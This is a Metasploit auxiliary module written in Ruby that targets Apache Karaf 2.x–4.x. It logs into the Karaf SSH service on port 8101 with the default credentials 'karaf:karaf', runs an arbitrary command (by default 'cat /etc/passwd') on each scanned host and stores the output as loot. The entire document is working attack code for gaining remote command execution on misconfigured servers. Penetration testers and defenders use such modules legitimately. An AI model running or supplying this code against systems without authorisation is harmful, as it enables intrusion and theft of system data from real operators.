Apache Karaf Default Credentials Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'net/ssh'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::SSH  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Apache Karaf Default Credentials Command Execution",  
'Description' => %q{  
This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x.  
The 'karaf' user has a known default password, which can be used to login to the  
SSH service, and execute operating system commands from remote.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Nicholas Starke <[email protected]>'  
],  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => true,  
'DisclosureDate' => '2016-02-09'))  
  
register_options(  
[  
Opt::RPORT(8101),  
OptString.new('USERNAME', [true, 'Username', 'karaf']),  
OptString.new('PASSWORD', [true, 'Password', 'karaf']),  
OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd'])  
], self.class  
)  
  
register_advanced_options(  
[  
Opt::Proxies,  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
def rport  
datastore['RPORT']  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def cmd  
datastore['CMD']  
end  
  
def do_login(user, pass, ip)  
opts = ssh_client_defaults.merge({  
:auth_methods => ['password'],  
:port => rport,  
:password => pass,  
})  
  
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']  
  
begin  
ssh = ::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
Net::SSH.start(ip, user, opts)  
end  
if ssh  
print_good("#{ip}:#{rport} - Login Successful ('#{user}:#{pass})'")  
else  
print_error "#{ip}:#{rport} - Unknown error"  
end  
rescue OpenSSL::Cipher::CipherError => e  
print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})")  
return  
rescue Rex::ConnectionError  
return  
rescue Net::SSH::Disconnect, ::EOFError  
print_error "#{ip}:#{rport} SSH - Disconnected during negotiation"  
return  
rescue ::Timeout::Error  
print_error "#{ip}:#{rport} SSH - Timed out during negotiation"  
return  
rescue Net::SSH::AuthenticationFailed  
print_error "#{ip}:#{rport} SSH - Failed authentication"  
rescue Net::SSH::Exception => e  
print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}"  
return  
end  
  
ssh  
end  
  
def run_host(ip)  
print_status("#{ip}:#{rport} - Attempt to login...")  
ssh = do_login(username, password, ip)  
if ssh  
output = ssh.exec!("#{cmd}\n").to_s  
if output  
print_good("#{ip}:#{rport} - Command successfully executed. Output: #{output}")  
store_loot("apache.karaf.command",  
"text/plain",  
ip,  
output)  
vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command")  
else  
print_error "#{ip}:#{rport} - Command failed to execute"  
end  
end  
end  
end  
`